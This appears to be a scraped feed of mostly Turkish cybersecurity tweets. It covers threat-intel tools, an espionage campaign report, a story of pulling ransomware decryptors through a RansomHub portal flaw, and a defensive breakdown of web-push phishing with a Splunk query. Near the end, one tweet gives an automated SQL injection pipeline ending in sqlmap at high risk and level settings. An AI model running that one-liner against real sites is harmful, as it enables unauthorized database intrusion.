S9NTX

Cyber Security//
Threat İntel//
Purple Team//

[0x6rss @0x6rss]

dear malware and CTI hunters,
the web version of #matkap has officially come to an end and will not be coming back online.
if you would like to continue using it, the open-source version is still available and actively maintained on github.(https://t.co/LRs1EKYGGi)
happy hunting !

[0x6rss @0x6rss]

cyber threat intelligence feels like this

[0x6rss @0x6rss]

herhangi bir siberci arkadaş grubunun korkunçluk
(bugün bana da öğrencilerimden birkaçı abi apt grubu kurucaz dedi)

[0x6rss @0x6rss]

vibecoder threat actors, threat actors who end up hacking themselves, and many more undiscovered stealers along with their logs… I’ve started writing my blog post..

[Alican Kiraz @AlicanKiraz0]

Dostlar bu arada ürkmeyecekseniz 2-3 aydır üzerinde çalıştığım Horus-Eye projemin videosunu paylaşayım 😂🙏🏻 Bu projem Palantir Gotham’dan esinlendiğim askeri sınıf bir proje. Anlık askeri ve sivil hava ile deniz araçlarının konum ve güzergahlarını, yayınlanan live ücretli feed’ler ile beslenerek görüntülüyor. Güzergah tahmini yapıp birleşik hareket durumlarını ölçümlüyor. Aynı zamanda hava tahmin raporlarını bulut durumlarını, güncel dünya uydu resimlerini render edip gösteriyor. Baya güzel oldu. 🔥☠️🦾

[0x6rss @0x6rss]

"Hydra Saiga"(kazakistan ilişkili) adlı casusluk faaliyeti Türkiye’yi de hedeflemiş.
Devlet kurumları, enerji ve kritik altyapılar gibi noktalara odaklanmışlar. Operasyon modeli klasik phishing + powershell backdoor ama içeride tamamen manuel takılıyorlar.
shodan ve censys üzerinden önce sunucuları bulup bunlara acunetix atmışlar. daha sonra pfsense default parolalar için brute force denemişler. ele geçirdikleri mail hesaplarında "VPN" keywordü aratıp sonrasında VPN kurulumları yapıp doğrudan hedef ağa erişim denemeleri yapmışlar. bununla da yetinmeyip eldeki mail hesaplarıyla zincirleme phishing denemişler. hatta havoc bile denemişler.
hatta 2025’te chrome’un yeni şifre korumasını aşan bir browser stealer bile geliştirmişler.
kısaca aktif keşiflerin siber casusluk faaliyetlerindeki önemi direkt bu saldırı üzerinden anlaşılıyor.

[Habib Karataş @habib_karatas]

Açık kapatıldığına ve grup operasyonlarını azalttığına göre yayınlamakta beis yok. Başlayalım :)

Geçtiğimiz yaz bir çok kurum ve kuruluş #Ransomhub kurbanı olmuştu. Telefonlarımız ve diğer iletişim kanallarımız sürekli bu konuda destek talep edenlerle dolup taşmıştı. Bu konuda çözüm üretmek ve gelen istekleri yanıtlamak için ekip olarak bir takım otomatik olmayan çalışmalar yapsak da talepler arttığı için geri dönüşlerimiz de ister istemez aksıyordu.

Her şey, daha önce bu #ransomware grubuna ödeme yapmış ve bir şekilde fidye notu elimize geçmiş bir #Ransomhub kurbanı olan firmalardan birinin ödeme yapmadan önce bize çözüm için ulaşmasıyla başladı. Sanırım geri dönüş yapmakta geciktiğimiz firmalardan birine aitti.

Kısa bir süre sonra ödeme yapan bu firmanın bize ulaştırdığı fidye notunda bulunan tor linkini incelediğimizde basit gibi görünen ama gözden kaçan büyük bir açık keşfettik. Bu açık tor linki elimizde olan ve ödeme yapmamış tüm kurbanların şifre çözücüsünü indirmeye yarıyordu.

İlk başta inanamadık. RansomHub'un onion siteleri genelde her kurban için benzersiz bir negotiation portalı sunsa da, bu link yapısında bir parametre yeterince doğrulanmıyordu.
Basit bir validation hatası :)
Yani, bir kurbanın ödeme yaptıktan sonra aldığı "decryptor download" linkinin yapısıyla biraz oynayarak başka kurbanların decryptor sayfasına erişilebiliyordu. Grubun aceleyle çıkardığı builder veya affiliate panelindeki bir konfigurasyon hatası yüzünden, decryptor dosyaları aslında farkedilmese de herkese açık bir şekilde sunulmuştu.

Hemen birkaç test yaptık. Farklı fidye notlarından aldığımız linkleri karşılaştırdık ve evet, aynı base URL üzerinden ID'leri sırayla değiştirince sistem "404" yerine decryptor indirme butonunu gösteriyordu. Üstelik indirme linki de authentication gerektirmiyordu; direkt dosya sunucusuna yönlendiriyordu.

Ekipte bir arkadaşımız "Bu kadar basit olamaz" dedi ve bir kaç defa denedik: Ödeme yapmamış bir kurbanın ID'sini kullanarak decryptor'ı çektik. Çalışıyordu. AES + Curve25519 tabanlı anahtar çiftiyle şifrelenmiş dosyalar için universal decryptor değil, ama her kurbanın kendine özel decryptor'ı (victim-specific private key içeren) indirilebiliyordu.

Tabii hemen etik ikilem başladı. Bunu kamuoyuyla paylaşsak mı, yoksa sessizce etkilenen kurumlara mı ulaştırsak? Grubun leak site'ında veri yayınlama süresi dolmadan önce decryptor'ı dağıtmak, birçok şirketi kurtarabilirdi ama aynı zamanda RansomHub'un dikkatini çekip hızlıca yamalamalarına sebep olabilirdi.

Sonunda orta yolu bulduk: Doğrudan ödeme yapmamış ve bize ulaşmış kurbanlara, "güvenilir bir kaynaktan decryptor ulaştı" diyerek dosyaları ulaştırdık. Kimseye (bir kaç güvenilir arkadaş hariç 😉) "hackledik" demedik, sadece "alternatif çözüm bulduk" dedik. Yaklaşık 40-50 kurum bu sayede fidye ödemeden kurtuldu. Bazıları inanamadı, bazıları ağladı telefonda.

RansomHub tarafında ise birkaç ay sonra fark ettiler sanırım. Onion linklerindeki decryptor endpoint'leri birden 403 vermeye başladı, parametre doğrulaması sertleşti. Ama iş işten geçti tabi 😁
O dönemki kurbanların önemli bir kısmı zaten decrypt edilmişti.

Sonuç? Bir ransomware grubunun en büyük kabusu: Kendi decryptor mekanizmasının kurbanlar tarafından bedavaya çevrilmesi. Ve bizim için de ufak bir zafer; belki de o yazın en anlamlı geri dönüşlerini yapmışızdır.

Hâlâ düşünüyorum: O linki ilk gören biz olmasaydık ne olurdu? Belki de yüzlerce şirket hâlâ para öderdi. Bazen güvenlik dünyasında en büyük kırılmalar, en basit ihmallerden çıkıyor.

[0x6rss @0x6rss]

meet https://t.co/A3XQDZ7rS2
track2pulse enables you to monitor, via an interactive map, OSINT-driven intelligence streams aggregated from country-specific telegram channels, covering topics such as geopolitics, information warfare, domestic developments, and strategic shifts.

you can track:
-APT group activities targeting specific countries
-Terror-related fatality data and organizational intelligence
-Critical infrastructure across relevant geographic regions
-The Interpol wanted persons list
-War-related flights and aircraft movements (flight tracking)
-International arms trade flows between countries
-National intelligence insights and satellite imagery-based data
-cybersecurity incidents, including ransomware campaigns and threat reports

You can create a personalized profile and follow only the developments that align with your operational interests , all in real time, directly on the map interface.

[0x6rss @0x6rss]

yeni yılda ülkemiz adına umuyorum ki daha da güçlü oluruz. tüm siber emekçisi arkadaşlara güzel bir yıl diliyorum.

[0x6rss @0x6rss]

Dear threat hunters and malware analysts!
new web version of #matkap is back online. You can now easily hunt malicious telegram bots via https://t.co/WP9won6ozE .
And it’s completely free 😃
Merry Christmas and happy hunting!

[Onur OKTAY @onuroktay]

💫 Kural Büyücüsü Yayında (!)

Blue Team operasyonlarında en çok zaman alan süreçlerden biri farklı sytanx yapıları nedeniyle Splunk, QRadar, LogSign, Wazuh gibi SIEM platformlarına özgü rule oluşturmaktır. Bu süreci hızlandırmak ve kural üretimini herkes için daha erişilebilir hale getirmek amacıyla küçük ama işlevsel bir araç geliştirdim.

- Syntax bilmenize gerek yok
- Aklınızdakini yazın, üretsin
- SPL, AQL, Sigma, WQL vb. yapılara göre kurallar üretin.

Böylece zamandan tasarruf sağlayarak, tehditin ve tespitin kendisine odaklanabilirsiniz. Güle güle kullanınız.

https://t.co/Ozrn47xz2G

#blueteam #siem #logsign #splunk #qradar #wazuh #sibergüvenlik

[Onur OKTAY @onuroktay]

🚨 Phishing için yepsyeni bir yöntem : "Matrix Push C2"
Browser notifications ile Matrix Push c2 tool sayesinde Paypal, Netflix, TikTok vb pek çok web sitesinden geliyormuş gibi fake notificationslar create edip basmanız ve karşı tarafın hiç bir file download vb işlem yapmadan zararlı enfekte edilmiş kodların pushlanip run edilmesi mümkün.

Bu saldırı nasıl yapılıyor, detaylarına bir bakalım. En önemlisi biz bu ve bunun gibi yeni nesil phishing attacklere karşı nasıl önlem alabiliriz değerlendirelim.

1- Nasıl işliyor?

Klasik C2 gibi davranmıyor çünkü C2 için Web Push Notification Service kullanıyor. Tüm mevzu aslında burada. FileLess, OS tarafında bir zararlı koşmadığı için EDR/XDR vb ürünler Alert ötmüyor veya AV ByPasslama gibi bir durum yok. Yani olayda Alert alabileceğiniz bir nokta yok. Yine aynı şekilde burada Browser bağımsız bir durum var. Site bağımsız bir durumda var. Her siteden her browsera bu mantıkta bir attack yapılabilir. User interaction Social Engineer hikayesi ve Tabii ki Api Browser.

2- Nasıl çalışıyor?

Öncelikli kritik nokta user/kurbanın "Web push notificasion'a" izin vermesi. Initial Foothold burada başlıyor. Web Push Api burada sömürülen nokta. Teknik tarafta;

- Notification.requestPermission() Alır ve
navigator.serviceWorker.register('/sw.js')

olarak allow derse Service worker çalışır ve kayıt eder.

- SW Server push subsc alır

registration.pushManager.subscribe({ userVisibleOnly: true })

Buradaki Subscription token C2 servera gönderilir ve iletişim kurulmuş olur. Burada farkındaysanız yukarıda dediğim gibi olay tamamen Browserda.

Daha sonra hackerler, Browser üzerinden enumeration hareketleri yapabilir. Cookies, History vs ulaşabilir ama en önemlisi "installed extensions" yaparak istediği plugini browser'a install edip rahat rahat takılabilir.

3- Ne Hedefliyorlar?

- Kripto para cüzdanları
- Banka hesap bilgileri
- Kritik datalar

4- Nasıl savunabiliriz?

Push notifications'a izin vermeyerek :)
- Bilinmeyen notificaions tarafını bi check edebilirsiniz browser tarafında network loglarında vs.

Şöyle bir traffic süzebilirsiniz;

index=browser_logs
| search "notificationclick"
| eval domain=mvindex(split(url,"/"),2)
| where domain NOT IN ("https://t.co/lwbbAjLDsA","https://t.co/ZuRHNmbaT0","https://t.co/jTAU4LAZr8")

Bir de son olarak Browser tarafında yine Service Worker kayıtlarını engelleyebilirsiniz. Web Push illa olacaksa bir WhiteList yapabilirsiniz.

#BlueTeam #Phishing #MatrixPush #CyberAttack #SiberGüvenlik

[0x6rss @0x6rss]

Harika bir çalışma🫡
@Root0ne ‘ın geliştirdiği yapay zeka modeli, Lazarus APT grubuna ait Ethereum cüzdanlarını %98,9 doğrulukla tespit edebiliyor.
Bu yaklaşım ile kara para aklama stratejisi kullanan diğer tehdit aktörlerinin cüzdanlarına da uygulanabilmekteymiş 👏

[Onur OKTAY @onuroktay]

Bazen hayatınız "Anomaly Detection" alerti verir
ama kimse incident düğmesine basmaz.

[someone should do @someoneshould00]

mesela yani

[0x6rss @0x6rss]

bir zararlı yazılımı bir kez görürsem önemsemem, 2.kez görürsem tesadüf derim, ama 3.defa görürsem hiç düşünmeden analiz ederim

[Okan Kurtulus @okan_kurtuluss]

Herkese selamlar,

Yeni kitabım "Hackleme ve Savunma Sanatı - Active Directory" için iki şanslı kişiye imzalı kitap hediye ediyorum! ✨

Katılım için:
1️⃣ Bu tweet'i beğen ❤️
2️⃣ Hesabımı takip et 👥
3️⃣ Bu tweet'i RT yap ↪️

Kitap Link:
https://t.co/vbvjXGxuwY

Kazananlar 05.08.2024 Pazartesi günü 17:00'da açıklanacak!🗓️
Bol şans! 🍀

#Çekiliş #KitapÇekilişi #CyberSecurity #ActiveDirectory

[Cybernetic Research @cybernetic_res]

Amazing SQLi oneliner automation

subfinder -d target[.]com -all -silent | hakrawler | urldedupe |
gf sqli >sql.txt; sqlmap -m sql.txt --batch --dbs --risk 3
--level 5 --random-agent | tee -a sqli.txt

By:@bountywriteups

#bugbountytips #bugbounty

[S9NTX @S9NTX]

@yakuter şansımızı deneyelim :)